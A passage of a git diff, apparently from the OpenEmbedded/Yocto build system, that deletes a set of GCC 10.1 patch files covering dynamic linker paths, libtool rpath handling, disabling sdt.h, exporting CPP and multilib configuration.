-@@ -84,7 +84,7 @@ extern const char *host_detect_local_cpu (int argc, const char **argv);
- When the -shared link option is used a final link is not being
- done. */
-
--#define GLIBC_DYNAMIC_LINKER "/lib/ld-linux.so.2"
-+#define GLIBC_DYNAMIC_LINKER SYSTEMLIBS_DIR "ld-linux.so.2"
-
- #undef LINK_SPEC
- #define LINK_SPEC "-m elf32_sparc %{shared:-shared} \
-diff --git a/gcc/config/sparc/linux64.h b/gcc/config/sparc/linux64.h
-index a1a0efd8f28..85d1084afc2 100644
---- a/gcc/config/sparc/linux64.h
-+++ b/gcc/config/sparc/linux64.h
-@@ -84,8 +84,8 @@ along with GCC; see the file COPYING3. If not see
- When the -shared link option is used a final link is not being
- done. */
-
--#define GLIBC_DYNAMIC_LINKER32 "/lib/ld-linux.so.2"
--#define GLIBC_DYNAMIC_LINKER64 "/lib64/ld-linux.so.2"
-+#define GLIBC_DYNAMIC_LINKER32 SYSTEMLIBS_DIR "ld-linux.so.2"
-+#define GLIBC_DYNAMIC_LINKER64 SYSTEMLIBS_DIR "ld-linux.so.2"
-
- #ifdef SPARC_BI_ARCH
-
diff --git a/meta/recipes-devtools/gcc/gcc-10.1/0012-gcc-Fix-argument-list-too-long-error.patch b/meta/recipes-devtools/gcc/gcc-10.1/0012-gcc-Fix-argument-list-too-long-error.patch
deleted file mode 100644
index 88e1715b5c..0000000000
--- a/meta/recipes-devtools/gcc/gcc-10.1/0012-gcc-Fix-argument-list-too-long-error.patch
+++ /dev/null
@@ -1,41 +0,0 @@
-From a22d1264049d29b90663cf5667049ae6f9b7a5ce Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Fri, 29 Mar 2013 09:26:37 +0400
-Subject: [PATCH] gcc: Fix argument list too long error.
-
-There would be an "Argument list too long" error when the
-build directory is longer than 200, this is caused by:
-
-headers=`echo $(PLUGIN_HEADERS) | tr ' ' '\012' | sort -u`
-
-The PLUGIN_HEADERS is too long before sort, so the "echo" can't handle
-it, use the $(sort list) of GNU make which can handle the too long list
-would fix the problem, the header would be short enough after sorted.
-The "tr ' ' '\012'" was used for translating the space to "\n", the
-$(sort list) doesn't need this.
-
-Signed-off-by: Robert Yang <liezhi.yang@windriver.com>
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
-
-RP: gcc then added *.h and *.def additions to this list, breaking the original
-fix. Add the sort to the original gcc code, leaving the tr+sort to fix the original
-issue but include the new files too as reported by Zhuang <qiuguang.zqg@alibaba-inc.com>
-
-Upstream-Status: Pending
----
- gcc/Makefile.in | 2 +-
- 1 file changed, 1 insertion(+), 1 deletion(-)
-
-diff --git a/gcc/Makefile.in b/gcc/Makefile.in
-index a67d2cc18d6..480c9366418 100644
---- a/gcc/Makefile.in
-+++ b/gcc/Makefile.in
-@@ -3606,7 +3606,7 @@ install-plugin: installdirs lang.install-plugin s-header-vars install-gengtype
- # We keep the directory structure for files in config or c-family and .def
- # files. All other files are flattened to a single directory.
- $(mkinstalldirs) $(DESTDIR)$(plugin_includedir)
-- headers=`echo $(PLUGIN_HEADERS) $$(cd $(srcdir); echo *.h *.def) | tr ' ' '\012' | sort -u`; \
-+ headers=`echo $(sort $(PLUGIN_HEADERS)) $$(cd $(srcdir); echo *.h *.def) | tr ' ' '\012' | sort -u`; \
- srcdirstrip=`echo "$(srcdir)" | sed 's/[].[^$$\\*|]/\\\\&/g'`; \
- for file in $$headers; do \
- if [ -f $$file ] ; then \
diff --git a/meta/recipes-devtools/gcc/gcc-10.1/0013-Disable-sdt.patch b/meta/recipes-devtools/gcc/gcc-10.1/0013-Disable-sdt.patch
deleted file mode 100644
index 207cdb57af..0000000000
--- a/meta/recipes-devtools/gcc/gcc-10.1/0013-Disable-sdt.patch
+++ /dev/null
@@ -1,110 +0,0 @@
-From fa47586935a18ecfc2ad5586802e326e21741b7b Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Fri, 29 Mar 2013 09:28:10 +0400
-Subject: [PATCH] Disable sdt.
-
-We don't list dtrace in DEPENDS so we shouldn't be depending on this header.
-It may or may not exist from preivous builds though. To be determinstic, disable
-sdt.h usage always. This avoids build failures if the header is removed after configure
-but before libgcc is compiled for example.
-
-RP 2012/8/7
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
-
-Disable sdt for libstdc++-v3.
-
-Signed-off-by: Robert Yang <liezhi.yang@windriver.com>
-
-Upstream-Status: Inappropriate [hack]
----
- gcc/configure | 12 ++++++------
- gcc/configure.ac | 18 +++++++++---------
- libstdc++-v3/configure | 6 +++---
- libstdc++-v3/configure.ac | 2 +-
- 4 files changed, 19 insertions(+), 19 deletions(-)
-
-diff --git a/gcc/configure b/gcc/configure
-index b26e8fc7fee..6080f86145e 100755
---- a/gcc/configure
-+++ b/gcc/configure
-@@ -29789,12 +29789,12 @@ fi
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking sys/sdt.h in the target C library" >&5
- $as_echo_n "checking sys/sdt.h in the target C library... " >&6; }
- have_sys_sdt_h=no
--if test -f $target_header_dir/sys/sdt.h; then
-- have_sys_sdt_h=yes
--
--$as_echo "#define HAVE_SYS_SDT_H 1" >>confdefs.h
--
--fi
-+#if test -f $target_header_dir/sys/sdt.h; then
-+# have_sys_sdt_h=yes
-+#
-+#$as_echo "#define HAVE_SYS_SDT_H 1" >>confdefs.h
-+#
-+#fi
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: $have_sys_sdt_h" >&5
- $as_echo "$have_sys_sdt_h" >&6; }
-
-diff --git a/gcc/configure.ac b/gcc/configure.ac
-index 26fa46802c7..42be5252778 100644
---- a/gcc/configure.ac
-+++ b/gcc/configure.ac
-@@ -6190,15 +6190,15 @@ fi
- AC_SUBST([enable_default_ssp])
-
- # Test for <sys/sdt.h> on the target.
--GCC_TARGET_TEMPLATE([HAVE_SYS_SDT_H])
--AC_MSG_CHECKING(sys/sdt.h in the target C library)
--have_sys_sdt_h=no
--if test -f $target_header_dir/sys/sdt.h; then
-- have_sys_sdt_h=yes
-- AC_DEFINE(HAVE_SYS_SDT_H, 1,
-- [Define if your target C library provides sys/sdt.h])
--fi
--AC_MSG_RESULT($have_sys_sdt_h)
-+#GCC_TARGET_TEMPLATE([HAVE_SYS_SDT_H])
-+#AC_MSG_CHECKING(sys/sdt.h in the target C library)
-+#have_sys_sdt_h=no
-+#if test -f $target_header_dir/sys/sdt.h; then
-+# have_sys_sdt_h=yes
-+# AC_DEFINE(HAVE_SYS_SDT_H, 1,
-+# [Define if your target C library provides sys/sdt.h])
-+#fi
-+#AC_MSG_RESULT($have_sys_sdt_h)
-
- # Check if TFmode long double should be used by default or not.
- # Some glibc targets used DFmode long double, but with glibc 2.4
-diff --git a/libstdc++-v3/configure b/libstdc++-v3/configure
-index 9f9c5a2419a..71ed13b815b 100755
---- a/libstdc++-v3/configure
-+++ b/libstdc++-v3/configure
-@@ -22615,11 +22615,11 @@ ac_compile='$CC -c $CFLAGS $CPPFLAGS conftest.$ac_ext >&5'
- ac_link='$CC -o conftest$ac_exeext $CFLAGS $CPPFLAGS $LDFLAGS conftest.$ac_ext $LIBS >&5'
- ac_compiler_gnu=$ac_cv_c_compiler_gnu
-
-- if test $glibcxx_cv_sys_sdt_h = yes; then
-+# if test $glibcxx_cv_sys_sdt_h = yes; then
-
--$as_echo "#define HAVE_SYS_SDT_H 1" >>confdefs.h
-+#$as_echo "#define HAVE_SYS_SDT_H 1" >>confdefs.h
-
-- fi
-+# fi
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: $glibcxx_cv_sys_sdt_h" >&5
- $as_echo "$glibcxx_cv_sys_sdt_h" >&6; }
-
-diff --git a/libstdc++-v3/configure.ac b/libstdc++-v3/configure.ac
-index 699e55fd829..5c7a7bda439 100644
---- a/libstdc++-v3/configure.ac
-+++ b/libstdc++-v3/configure.ac
-@@ -241,7 +241,7 @@ GLIBCXX_CHECK_SC_NPROCESSORS_ONLN
- GLIBCXX_CHECK_SC_NPROC_ONLN
- GLIBCXX_CHECK_PTHREADS_NUM_PROCESSORS_NP
- GLIBCXX_CHECK_SYSCTL_HW_NCPU
--GLIBCXX_CHECK_SDT_H
-+#GLIBCXX_CHECK_SDT_H
-
- # Check for available headers.
- AC_CHECK_HEADERS([endian.h execinfo.h float.h fp.h ieeefp.h inttypes.h \
diff --git a/meta/recipes-devtools/gcc/gcc-10.1/0014-libtool.patch b/meta/recipes-devtools/gcc/gcc-10.1/0014-libtool.patch
deleted file mode 100644
index f4e70c3b18..0000000000
--- a/meta/recipes-devtools/gcc/gcc-10.1/0014-libtool.patch
+++ /dev/null
@@ -1,39 +0,0 @@
-From 6ecd478881468934444ff85611fd43f7033b1e81 Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Fri, 29 Mar 2013 09:29:11 +0400
-Subject: [PATCH] libtool
-
-libstdc++ from gcc-runtime gets created with -rpath=/usr/lib/../lib for qemux86-64
-when running on am x86_64 build host.
-
-This patch stops this speading to libdir in the libstdc++.la file within libtool.
-Arguably, it shouldn't be passing this into libtool in the first place but
-for now this resolves the nastiest problems this causes.
-
-func_normal_abspath would resolve an empty path to `pwd` so we need
-to filter the zero case.
-
-RP 2012/8/24
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
-
-Upstream-Status: Pending
----
- ltmain.sh | 4 ++++
- 1 file changed, 4 insertions(+)
-
-diff --git a/ltmain.sh b/ltmain.sh
-index 70990740b6c..ee938056bef 100644
---- a/ltmain.sh
-+++ b/ltmain.sh
-@@ -6359,6 +6359,10 @@ func_mode_link ()
- func_warning "ignoring multiple \`-rpath's for a libtool library"
-
- install_libdir="$1"
-+ if test -n "$install_libdir"; then
-+ func_normal_abspath "$install_libdir"
-+ install_libdir=$func_normal_abspath_result
-+ fi
-
- oldlibs=
- if test -z "$rpath"; then
diff --git a/meta/recipes-devtools/gcc/gcc-10.1/0015-gcc-armv4-pass-fix-v4bx-to-linker-to-support-EABI.patch b/meta/recipes-devtools/gcc/gcc-10.1/0015-gcc-armv4-pass-fix-v4bx-to-linker-to-support-EABI.patch
deleted file mode 100644
index bc2674abcc..0000000000
--- a/meta/recipes-devtools/gcc/gcc-10.1/0015-gcc-armv4-pass-fix-v4bx-to-linker-to-support-EABI.patch
+++ /dev/null
@@ -1,40 +0,0 @@
-From de4427fa49c07dc651ee6ceaf5c5078700ca3b08 Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Fri, 29 Mar 2013 09:30:32 +0400
-Subject: [PATCH] gcc: armv4: pass fix-v4bx to linker to support EABI.
-
-The LINK_SPEC for linux gets overwritten by linux-eabi.h which
-means the value of TARGET_FIX_V4BX_SPEC gets lost and as a result
-the option is not passed to linker when chosing march=armv4
-This patch redefines this in linux-eabi.h and reinserts it
-for eabi defaulting toolchains.
-
-We might want to send it upstream.
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
-
-Upstream-Status: Pending
----
- gcc/config/arm/linux-eabi.h | 6 +++++-
- 1 file changed, 5 insertions(+), 1 deletion(-)
-
-diff --git a/gcc/config/arm/linux-eabi.h b/gcc/config/arm/linux-eabi.h
-index 0c0332f317f..7b3769e8459 100644
---- a/gcc/config/arm/linux-eabi.h
-+++ b/gcc/config/arm/linux-eabi.h
-@@ -91,10 +91,14 @@
- #define MUSL_DYNAMIC_LINKER \
- "/lib/ld-musl-arm" MUSL_DYNAMIC_LINKER_E "%{mfloat-abi=hard:hf}%{mfdpic:-fdpic}.so.1"
-
-+/* For armv4 we pass --fix-v4bx to linker to support EABI */
-+#undef TARGET_FIX_V4BX_SPEC
-+#define TARGET_FIX_V4BX_SPEC "%{mcpu=arm8|mcpu=arm810|mcpu=strongarm*|march=armv4: --fix-v4bx}"
-+
- /* At this point, bpabi.h will have clobbered LINK_SPEC. We want to
- use the GNU/Linux version, not the generic BPABI version. */
- #undef LINK_SPEC
--#define LINK_SPEC EABI_LINK_SPEC \
-+#define LINK_SPEC TARGET_FIX_V4BX_SPEC EABI_LINK_SPEC \
- LINUX_OR_ANDROID_LD (LINUX_TARGET_LINK_SPEC, \
- LINUX_TARGET_LINK_SPEC " " ANDROID_LINK_SPEC)
-
diff --git a/meta/recipes-devtools/gcc/gcc-10.1/0016-Use-the-multilib-config-files-from-B-instead-of-usin.patch b/meta/recipes-devtools/gcc/gcc-10.1/0016-Use-the-multilib-config-files-from-B-instead-of-usin.patch
deleted file mode 100644
index 1dc4bb859a..0000000000
--- a/meta/recipes-devtools/gcc/gcc-10.1/0016-Use-the-multilib-config-files-from-B-instead-of-usin.patch
+++ /dev/null
@@ -1,99 +0,0 @@
-From 6b363c2c1c089ee900efa6013aefba1003840a37 Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Fri, 29 Mar 2013 09:33:04 +0400
-Subject: [PATCH] Use the multilib config files from ${B} instead of using the
- ones from ${S}
-
-Use the multilib config files from ${B} instead of using the ones from ${S}
-so that the source can be shared between gcc-cross-initial,
-gcc-cross-intermediate, gcc-cross, gcc-runtime, and also the sdk build.
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
-Signed-off-by: Constantin Musca <constantinx.musca@intel.com>
-
-Upstream-Status: Inappropriate [configuration]
----
- gcc/configure | 22 ++++++++++++++++++----
- gcc/configure.ac | 22 ++++++++++++++++++----
- 2 files changed, 36 insertions(+), 8 deletions(-)
-
-diff --git a/gcc/configure b/gcc/configure
-index 6080f86145e..825a9652329 100755
---- a/gcc/configure
-+++ b/gcc/configure
-@@ -12685,10 +12685,20 @@ done
- tmake_file_=
- for f in ${tmake_file}
- do
-- if test -f ${srcdir}/config/$f
-- then
-- tmake_file_="${tmake_file_} \$(srcdir)/config/$f"
-- fi
-+ case $f in
-+ */t-linux64 )
-+ if test -f ./config/$f
-+ then
-+ tmake_file_="${tmake_file_} ./config/$f"
-+ fi
-+ ;;
-+ * )
-+ if test -f ${srcdir}/config/$f
-+ then
-+ tmake_file_="${tmake_file_} \$(srcdir)/config/$f"
-+ fi
-+ ;;
-+ esac
- done
- tmake_file="${tmake_file_}${omp_device_property_tmake_file}"
-
-@@ -12699,6 +12709,10 @@ tm_file_list="options.h"
- tm_include_list="options.h insn-constants.h"
- for f in $tm_file; do
- case $f in
-+ */linux64.h )
-+ tm_file_list="${tm_file_list} ./config/$f"
-+ tm_include_list="${tm_include_list} ./config/$f"
-+ ;;
- ./* )
- f=`echo $f | sed 's/^..//'`
- tm_file_list="${tm_file_list} $f"
-diff --git a/gcc/configure.ac b/gcc/configure.ac
-index 42be5252778..6099eb3251f 100644
---- a/gcc/configure.ac
-+++ b/gcc/configure.ac
-@@ -2118,10 +2118,20 @@ done
- tmake_file_=
- for f in ${tmake_file}
- do
-- if test -f ${srcdir}/config/$f
-- then
-- tmake_file_="${tmake_file_} \$(srcdir)/config/$f"
-- fi
-+ case $f in
-+ */t-linux64 )
-+ if test -f ./config/$f
-+ then
-+ tmake_file_="${tmake_file_} ./config/$f"
-+ fi
-+ ;;
-+ * )
-+ if test -f ${srcdir}/config/$f
-+ then
-+ tmake_file_="${tmake_file_} \$(srcdir)/config/$f"
-+ fi
-+ ;;
-+ esac
- done
- tmake_file="${tmake_file_}${omp_device_property_tmake_file}"
-
-@@ -2132,6 +2142,10 @@ tm_file_list="options.h"
- tm_include_list="options.h insn-constants.h"
- for f in $tm_file; do
- case $f in
-+ */linux64.h )
-+ tm_file_list="${tm_file_list} ./config/$f"
-+ tm_include_list="${tm_include_list} ./config/$f"
-+ ;;
- ./* )
- f=`echo $f | sed 's/^..//'`
- tm_file_list="${tm_file_list} $f"
diff --git a/meta/recipes-devtools/gcc/gcc-10.1/0017-Avoid-using-libdir-from-.la-which-usually-points-to-.patch b/meta/recipes-devtools/gcc/gcc-10.1/0017-Avoid-using-libdir-from-.la-which-usually-points-to-.patch
deleted file mode 100644
index 05f12847e9..0000000000
--- a/meta/recipes-devtools/gcc/gcc-10.1/0017-Avoid-using-libdir-from-.la-which-usually-points-to-.patch
+++ /dev/null
@@ -1,28 +0,0 @@
-From 08752c2f1d21553301bee5757c453c6a36cbe03c Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Fri, 20 Feb 2015 09:39:38 +0000
-Subject: [PATCH] Avoid using libdir from .la which usually points to a host
- path
-
-Upstream-Status: Inappropriate [embedded specific]
-
-Signed-off-by: Jonathan Liu <net147@gmail.com>
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
- ltmain.sh | 3 +++
- 1 file changed, 3 insertions(+)
-
-diff --git a/ltmain.sh b/ltmain.sh
-index ee938056bef..9ebc7e3d1e0 100644
---- a/ltmain.sh
-+++ b/ltmain.sh
-@@ -5628,6 +5628,9 @@ func_mode_link ()
- absdir="$abs_ladir"
- libdir="$abs_ladir"
- else
-+ # Instead of using libdir from .la which usually points to a host path,
-+ # use the path the .la is contained in.
-+ libdir="$abs_ladir"
- dir="$libdir"
- absdir="$libdir"
- fi
diff --git a/meta/recipes-devtools/gcc/gcc-10.1/0018-export-CPP.patch b/meta/recipes-devtools/gcc/gcc-10.1/0018-export-CPP.patch
deleted file mode 100644
index 886a1221d3..0000000000
--- a/meta/recipes-devtools/gcc/gcc-10.1/0018-export-CPP.patch
+++ /dev/null
@@ -1,50 +0,0 @@
-From 5c3d66378c7ff60ca11a875aa4aa6f8a8529d43a Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Fri, 20 Feb 2015 09:40:59 +0000
-Subject: [PATCH] export CPP
-
-The OE environment sets and exports CPP as being the target gcc. When
-building gcc-cross-canadian for a mingw targetted sdk, the following can be found
-in build.x86_64-pokysdk-mingw32.i586-poky-linux/build-x86_64-linux/libiberty/config.log:
-
-configure:3641: checking for _FILE_OFFSET_BITS value needed for large files
-configure:3666: gcc -c -isystem/media/build1/poky/build/tmp/sysroots/x86_64-linux/usr/include -O2 -pipe conftest.c >&5
-configure:3666: $? = 0
-configure:3698: result: no
-configure:3786: checking how to run the C preprocessor
-configure:3856: result: x86_64-pokysdk-mingw32-gcc -E --sysroot=/media/build1/poky/build/tmp/sysroots/x86_64-nativesdk-mingw32-pokysdk-mingw32
-configure:3876: x86_64-pokysdk-mingw32-gcc -E --sysroot=/media/build1/poky/build/tmp/sysroots/x86_64-nativesdk-mingw32-pokysdk-mingw32 conftest.c
-configure:3876: $? = 0
-
-Note this is a *build* target (in build-x86_64-linux) so it should be
-using the host "gcc", not x86_64-pokysdk-mingw32-gcc. Since the mingw32
-headers are very different, using the wrong cpp is a real problem. It is leaking
-into configure through the CPP variable. Ultimately this leads to build
-failures related to not being able to include a process.h file for pem-unix.c.
-
-The fix is to ensure we export a sane CPP value into the build
-environment when using build targets. We could define a CPP_FOR_BUILD value which may be
-the version which needs to be upstreamed but for now, this fix is good enough to
-avoid the problem.
-
-RP 22/08/2013
-
-Upstream-Status: Pending
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
- Makefile.in | 1 +
- 1 file changed, 1 insertion(+)
-
-diff --git a/Makefile.in b/Makefile.in
-index 36e369df6e7..c717903bb13 100644
---- a/Makefile.in
-+++ b/Makefile.in
-@@ -149,6 +149,7 @@ BUILD_EXPORTS = \
- AR="$(AR_FOR_BUILD)"; export AR; \
- AS="$(AS_FOR_BUILD)"; export AS; \
- CC="$(CC_FOR_BUILD)"; export CC; \
-+ CPP="$(CC_FOR_BUILD) -E"; export CPP; \
- CFLAGS="$(CFLAGS_FOR_BUILD)"; export CFLAGS; \
- CONFIG_SHELL="$(SHELL)"; export CONFIG_SHELL; \
- CXX="$(CXX_FOR_BUILD)"; export CXX; \
diff --git a/meta/recipes-devtools/gcc/gcc-10.1/0019-Ensure-target-gcc-headers-can-be-included.patch b/meta/recipes-devtools/gcc/gcc-10.1/0019-Ensure-target-gcc-headers-can-be-included.patch
deleted file mode 100644
index 2797b2c22d..0000000000
--- a/meta/recipes-devtools/gcc/gcc-10.1/0019-Ensure-target-gcc-headers-can-be-included.patch
+++ /dev/null
@@ -1,57 +0,0 @@
-From 378b752c5d9a3dba4e58cdadf8b4b4f34ea99a76 Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Fri, 20 Feb 2015 10:25:11 +0000
-Subject: [PATCH] Ensure target gcc headers can be included
-
-There are a few headers installed as part of the OpenEmbedded
-gcc-runtime target (omp.h, ssp/*.h). Being installed from a recipe
-built for the target architecture, these are within the target
-sysroot and not cross/nativesdk; thus they weren't able to be
-found by gcc with the existing search paths. Add support for
-picking up these headers under the sysroot supplied on the gcc
-command line in order to resolve this.
-
-Upstream-Status: Pending
-
-Signed-off-by: Paul Eggleton <paul.eggleton@linux.intel.com>
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
- gcc/Makefile.in | 2 ++
- gcc/cppdefault.c | 4 ++++
- 2 files changed, 6 insertions(+)
-
-diff --git a/gcc/Makefile.in b/gcc/Makefile.in
-index 480c9366418..011c7ac2db6 100644
---- a/gcc/Makefile.in
-+++ b/gcc/Makefile.in
-@@ -618,6 +618,7 @@ libexecdir = @libexecdir@
-
- # Directory in which the compiler finds libraries etc.
- libsubdir = $(libdir)/gcc/$(real_target_noncanonical)/$(version)$(accel_dir_suffix)
-+libsubdir_target = $(target_noncanonical)/$(version)
- # Directory in which the compiler finds executables
- libexecsubdir = $(libexecdir)/gcc/$(real_target_noncanonical)/$(version)$(accel_dir_suffix)
- # Directory in which all plugin resources are installed
-@@ -2946,6 +2947,7 @@ CFLAGS-intl.o += -DLOCALEDIR=\"$(localedir)\"
-
- PREPROCESSOR_DEFINES = \
- -DGCC_INCLUDE_DIR=\"$(libsubdir)/include\" \
-+ -DGCC_INCLUDE_SUBDIR_TARGET=\"$(libsubdir_target)/include\" \
- -DFIXED_INCLUDE_DIR=\"$(libsubdir)/include-fixed\" \
- -DGPLUSPLUS_INCLUDE_DIR=\"$(gcc_gxx_include_dir)\" \
- -DGPLUSPLUS_INCLUDE_DIR_ADD_SYSROOT=$(gcc_gxx_include_dir_add_sysroot) \
-diff --git a/gcc/cppdefault.c b/gcc/cppdefault.c
-index af38cc494ea..2f43b88a0c3 100644
---- a/gcc/cppdefault.c
-+++ b/gcc/cppdefault.c
-@@ -59,6 +59,10 @@ const struct default_include cpp_include_defaults[]
- /* This is the dir for gcc's private headers. */
- { GCC_INCLUDE_DIR, "GCC", 0, 0, 0, 0 },
- #endif
-+#ifdef GCC_INCLUDE_SUBDIR_TARGET
-+ /* This is the dir for gcc's private headers under the specified sysroot. */
-+ { STANDARD_STARTFILE_PREFIX_2 GCC_INCLUDE_SUBDIR_TARGET, "GCC", 0, 0, 1, 0 },
-+#endif
- #ifdef LOCAL_INCLUDE_DIR
- /* /usr/local/include comes before the fixincluded header files. */
- { LOCAL_INCLUDE_DIR, 0, 0, 1, 1, 2 },
diff --git a/meta/recipes-devtools/gcc/gcc-10.1/0020-Don-t-search-host-directory-during-relink-if-inst_pr.patch b/meta/recipes-devtools/gcc/gcc-10.1/0020-Don-t-search-host-directory-during-relink-if-inst_pr.patch
deleted file mode 100644
index c3baf8b451..0000000000
--- a/meta/recipes-devtools/gcc/gcc-10.1/0020-Don-t-search-host-directory-during-relink-if-inst_pr.patch
+++ /dev/null
@@ -1,35 +0,0 @@
-From 870e805d705d99d9b9d7dbd09727f9c1d2ad9c1d Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Tue, 3 Mar 2015 08:21:19 +0000
-Subject: [PATCH] Don't search host directory during "relink" if $inst_prefix
- is provided
-
-http://lists.gnu.org/archive/html/libtool-patches/2011-01/msg00026.html
-
-Upstream-Status: Submitted
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
- ltmain.sh | 5 +++--
- 1 file changed, 3 insertions(+), 2 deletions(-)
-
-diff --git a/ltmain.sh b/ltmain.sh
-index 9ebc7e3d1e0..7ea79fa8be6 100644
---- a/ltmain.sh
-+++ b/ltmain.sh
-@@ -6004,12 +6004,13 @@ func_mode_link ()
- fi
- else
- # We cannot seem to hardcode it, guess we'll fake it.
-+ # Default if $libdir is not relative to the prefix:
- add_dir="-L$libdir"
-- # Try looking first in the location we're being installed to.
-+
- if test -n "$inst_prefix_dir"; then
- case $libdir in
- [\\/]*)
-- add_dir="$add_dir -L$inst_prefix_dir$libdir"
-+ add_dir="-L$inst_prefix_dir$libdir"
- ;;
- esac
- fi
diff --git a/meta/recipes-devtools/gcc/gcc-10.1/0021-Use-SYSTEMLIBS_DIR-replacement-instead-of-hardcoding.patch b/meta/recipes-devtools/gcc/gcc-10.1/0021-Use-SYSTEMLIBS_DIR-replacement-instead-of-hardcoding.patch
deleted file mode 100644
index abee48669d..0000000000
--- a/meta/recipes-devtools/gcc/gcc-10.1/0021-Use-SYSTEMLIBS_DIR-replacement-instead-of-hardcoding.patch
+++ /dev/null
@@ -1,26 +0,0 @@
-From aba42de763a619355471efd1573561b0cbf51162 Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Tue, 28 Apr 2015 23:15:27 -0700
-Subject: [PATCH] Use SYSTEMLIBS_DIR replacement instead of hardcoding
- base_libdir
-
-Upstream-Status: Pending
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
- gcc/config/aarch64/aarch64-linux.h | 2 +-
- 1 file changed, 1 insertion(+), 1 deletion(-)
-
-diff --git a/gcc/config/aarch64/aarch64-linux.h b/gcc/config/aarch64/aarch64-linux.h
-index e587e2e9ad6..ddc62895693 100644
---- a/gcc/config/aarch64/aarch64-linux.h
-+++ b/gcc/config/aarch64/aarch64-linux.h
-@@ -21,7 +21,7 @@
- #ifndef GCC_AARCH64_LINUX_H
- #define GCC_AARCH64_LINUX_H
-
--#define GLIBC_DYNAMIC_LINKER "/lib/ld-linux-aarch64%{mbig-endian:_be}%{mabi=ilp32:_ilp32}.so.1"
-+#define GLIBC_DYNAMIC_LINKER SYSTEMLIBS_DIR "ld-linux-aarch64%{mbig-endian:_be}%{mabi=ilp32:_ilp32}.so.1"
-
- #undef MUSL_DYNAMIC_LINKER
- #define MUSL_DYNAMIC_LINKER "/lib/ld-musl-aarch64%{mbig-endian:_be}%{mabi=ilp32:_ilp32}.so.1"
diff --git a/meta/recipes-devtools/gcc/gcc-10.1/0022-aarch64-Add-support-for-musl-ldso.patch b/meta/recipes-devtools/gcc/gcc-10.1/0022-aarch64-Add-support-for-musl-ldso.patch
deleted file mode 100644
index c55b66d4ba..0000000000
--- a/meta/recipes-devtools/gcc/gcc-10.1/0022-aarch64-Add-support-for-musl-ldso.patch
+++ /dev/null
@@ -1,25 +0,0 @@
-From d63820a78d92f302410358293546f01c7ad17bd8 Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Tue, 28 Apr 2015 23:18:39 -0700
-Subject: [PATCH] aarch64: Add support for musl ldso
-
-Upstream-Status: Pending
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
- gcc/config/aarch64/aarch64-linux.h | 2 +-
- 1 file changed, 1 insertion(+), 1 deletion(-)
-
-diff --git a/gcc/config/aarch64/aarch64-linux.h b/gcc/config/aarch64/aarch64-linux.h
-index ddc62895693..b301825313a 100644
---- a/gcc/config/aarch64/aarch64-linux.h
-+++ b/gcc/config/aarch64/aarch64-linux.h
-@@ -24,7 +24,7 @@
- #define GLIBC_DYNAMIC_LINKER SYSTEMLIBS_DIR "ld-linux-aarch64%{mbig-endian:_be}%{mabi=ilp32:_ilp32}.so.1"
-
- #undef MUSL_DYNAMIC_LINKER
--#define MUSL_DYNAMIC_LINKER "/lib/ld-musl-aarch64%{mbig-endian:_be}%{mabi=ilp32:_ilp32}.so.1"
-+#define MUSL_DYNAMIC_LINKER SYSTEMLIBS_DIR "ld-musl-aarch64%{mbig-endian:_be}%{mabi=ilp32:_ilp32}.so.1"
-
- #undef ASAN_CC1_SPEC
- #define ASAN_CC1_SPEC "%{%:sanitize(address):-funwind-tables}"
diff --git a/meta/recipes-devtools/gcc/gcc-10.1/0023-libcc1-fix-libcc1-s-install-path-and-rpath.patch b/meta/recipes-devtools/gcc/gcc-10.1/0023-libcc1-fix-libcc1-s-install-path-and-rpath.patch
deleted file mode 100644
index 80c4d2292c..0000000000
--- a/meta/recipes-devtools/gcc/gcc-10.1/0023-libcc1-fix-libcc1-s-install-path-and-rpath.patch
+++ /dev/null
@@ -1,51 +0,0 @@
-From 3474e16ad4ea8cf4e0e330568e3bc9039e723dce Mon Sep 17 00:00:00 2001
-From: Robert Yang <liezhi.yang@windriver.com>
-Date: Sun, 5 Jul 2015 20:25:18 -0700
-Subject: [PATCH] libcc1: fix libcc1's install path and rpath
-
-* Install libcc1.so and libcc1plugin.so into
- $(libexecdir)/gcc/$(target_noncanonical)/$(gcc_version), as what we
- had done to lto-plugin.
-* Fix bad RPATH iussue:
- gcc-5.2.0: package gcc-plugins contains bad RPATH /patht/to/tmp/sysroots/qemux86-64/usr/lib64/../lib64 in file
- /path/to/gcc/5.2.0-r0/packages-split/gcc-plugins/usr/lib64/gcc/x86_64-poky-linux/5.2.0/plugin/libcc1plugin.so.0.0.0
- [rpaths]
-
-Upstream-Status: Inappropriate [OE configuration]
-
-Signed-off-by: Robert Yang <liezhi.yang@windriver.com>
----
- libcc1/Makefile.am | 4 ++--
- libcc1/Makefile.in | 4 ++--
- 2 files changed, 4 insertions(+), 4 deletions(-)
-
-diff --git a/libcc1/Makefile.am b/libcc1/Makefile.am
-index c005b0dad4a..ec31d35b7b9 100644
---- a/libcc1/Makefile.am
-+++ b/libcc1/Makefile.am
